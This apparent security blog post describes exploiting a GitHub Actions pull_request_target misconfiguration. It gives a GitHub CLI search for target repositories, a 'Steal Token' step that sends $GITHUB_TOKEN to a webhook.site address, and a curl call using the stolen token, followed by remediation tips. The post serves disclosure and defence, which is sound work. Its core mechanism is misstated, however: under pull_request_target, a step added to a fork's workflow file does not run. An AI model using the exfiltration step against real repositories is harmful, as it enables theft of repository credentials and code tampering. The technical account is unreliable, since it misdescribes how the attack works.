I Forked a Repo and Got Secrets. Here’s How 🤯
Hey folks, hope you’re doing well!
Today I’m sharing a real-world story about how a small misconfiguration in a GitHub Actions workflow could’ve led to something big — full repository access via leaked secrets. This one’s about automation, privilege, and the power of a single misused trigger.
The Recon: Finding the Target
I kicked things off with some open recon using the GitHub CLI. My goal was to hunt down repositories using the pull_request_target trigger — a well-known risky pattern when paired with untrusted pull requests.
Here’s the command I used:
gh repo search "on: pull_request_target" --visibility public --limit 100 --json name,url | jq -r '.[] | .url'
After scanning a few repos, I found one that immediately caught my attention — it was actively maintained and had GitHub Actions workflows that looked way too trusting.
The Vulnerability
Inside the .github/workflows/ci.yml file, I saw this:
on:
pull_request_target:
branches:
- main
jobs:
build:
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.ref }}
- run: echo "Running tests"
This workflow was checking out untrusted PR code from forks using the ${{ github.event.pull_request.head.ref }} expression — but running it with the full power of pull_request_target, which includes secrets and a write-scoped GITHUB_TOKEN.
That’s like letting a guest into your house and handing them your keys “just in case.”
The Secret Hunt
I cloned the repo and ran TruffleHog and GitLeaks to scan for any accidental secret leaks:
trufflehog filesystem .github/
gitleaks detect --source .
No hardcoded secrets were found, but I didn’t need them — because the GitHub Actions job already had everything I needed at runtime.
The Exploit: Proof of Concept 🚨
I forked the repo, made a trivial change (added a blank line to a README), and submitted a pull request. In my fork, I added this malicious step to the CI workflow:
- name: Steal Token
run: curl -X POST https://webhook.site/<my-id> -H "X-Auth: $GITHUB_TOKEN"
Sure enough, the workflow ran — and my webhook received a valid GitHub token with write permissions. I verified its power by listing contents:
curl -H "Authorization: token <stolen-token>" https://api.github.com/repos/owner/repo/contents/
Boom. Full access 🔥
What This Token Could Do
- Modify code in the main branch
- Inject malicious workflows
- Read or overwrite secrets in follow-up jobs
- Disrupt CI/CD or deploy malicious releases
This wasn’t just a theoretical problem — this was full control, triggered from a PR.
Fixing the Mess: Remediation Tips
Avoid pull_request_target for untrusted PRs
If you must use it, never check out the PR’s code using
${{ github.event.pull_request.head.ref }}.
Lock down token permissions
Explicitly set minimal scopes:
permissions:
contents: read
pull-requests: none
Separate trusted and untrusted workflows
Use workflow_run to trigger sensitive jobs after merge, from the main branch only:
on:
workflow_run:
workflows: ["CI"]
types:
- completed
Audit your workflows regularly
Use tools like:
gitleaks detect --source .
trufflehog repo https://github.com/org/repo.git
And always review your .yml files manually too.
Final Thoughts
To the defenders:
CI pipelines are now part of your attack surface. Treat workflows like production code. Least privilege isn’t just good practice — it’s survival.
To fellow researchers:
If you’re looking for high-impact bugs, don’t just chase hardcoded secrets — chase runtime permissions. They’re often more powerful, and easier to find.
Thanks for reading, and take care out there!
Stay curious, stay ethical — and remember, even automated workflows can bleed secrets when misconfigured. Until next time, happy hacking! 👋
—